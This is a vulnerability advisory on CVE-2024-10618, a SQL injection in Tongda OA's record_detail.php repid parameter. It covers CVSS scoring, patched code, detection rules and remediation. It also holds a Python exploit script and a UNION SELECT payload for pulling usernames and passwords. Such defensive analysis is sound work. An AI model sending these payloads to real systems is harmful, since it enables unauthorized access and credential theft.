CVE-2024-10618

Executive Summary

CVE-2024-10618 is a critical SQL injection vulnerability discovered in Tongda OA 2017 up to version 11.10. The flaw resides in the /pda/reportshop/record_detail.php file, where the repid parameter is not properly sanitized, allowing an attacker to inject arbitrary SQL commands. This vulnerability is remotely exploitable without authentication, posing a severe risk to data confidentiality, integrity, and availability. Given the public disclosure of the exploit, active exploitation is likely. No official patch has been released by Tongda as of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation and the potential for complete compromise of the database server.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the repid parameter of the record_detail.php script. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries. An attacker can inject SQL commands by providing a malicious value for repid, such as:

1 UNION SELECT username, password FROM users

This allows the attacker to extract sensitive data, modify database contents, or execute administrative operations. The attack is performed via HTTP GET or POST requests to the vulnerable endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$repid = $_GET['repid'];
$sql = "SELECT * FROM reports WHERE id = " . $repid;
$result = mysqli_query($conn, $sql);
?>

Patched Code (Conceptual):

<?php
$repid = intval($_GET['repid']);
$sql = "SELECT * FROM reports WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $repid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

The patched version uses parameterized queries and input validation to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://target-oa.com/pda/reportshop/record_detail.php"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100"

params = {"repid": payload}
response = requests.get(target, params=params)
print(response.text)

Usage: Run the script against a vulnerable Tongda OA instance. The response will contain the injected data, confirming SQL injection.

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /pda/reportshop/record_detail.php with unusual repid parameters (e.g., containing SQL keywords like UNION, SELECT, OR).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Implement database activity monitoring to detect anomalous queries.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /pda/reportshop/record_detail.php with repid parameter containing SQL keywords.
  • Outbound database connections from the web server to unknown IPs.
• File IOCs:
  • Suspicious files in the web root (e.g., webshells).
• Log IOCs:
  • Database error logs showing SQL syntax errors.
  • Web server logs with repid values containing ', UNION, SELECT, OR.

Detection Engineering

YARA Rule

rule CVE_2024_10618_SQLi {
    meta:
        description = "Detects SQL injection attempts against Tongda OA record_detail.php"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10618"
    strings:
        $s1 = "repid=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "1=1" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-10618 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Tongda OA record_detail.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: '/pda/reportshop/record_detail.php'
        cs-uri-query|contains|all:
            - 'repid='
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10618 SQL Injection Attempt"; flow:to_server; content:"/pda/reportshop/record_detail.php"; http_uri; content:"repid="; http_uri; pcre:"/(UNION|SELECT|OR|1=1)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Apply input validation and parameterized queries to the repid parameter.
   • Restrict access to the /pda/reportshop/ directory via .htaccess or firewall rules.
   • Monitor for exploitation attempts using the provided detection rules.

2. Long-term Fix:

   • Upgrade to a patched version of Tongda OA if available.
   • Conduct a full security audit of the application.
   • Implement a Web Application Firewall (WAF) with SQL injection protection.

3. Workaround:

   • Disable the vulnerable endpoint if not essential.
   • Use a reverse proxy to filter malicious requests.

Valters IT
Securing Digital Frontiers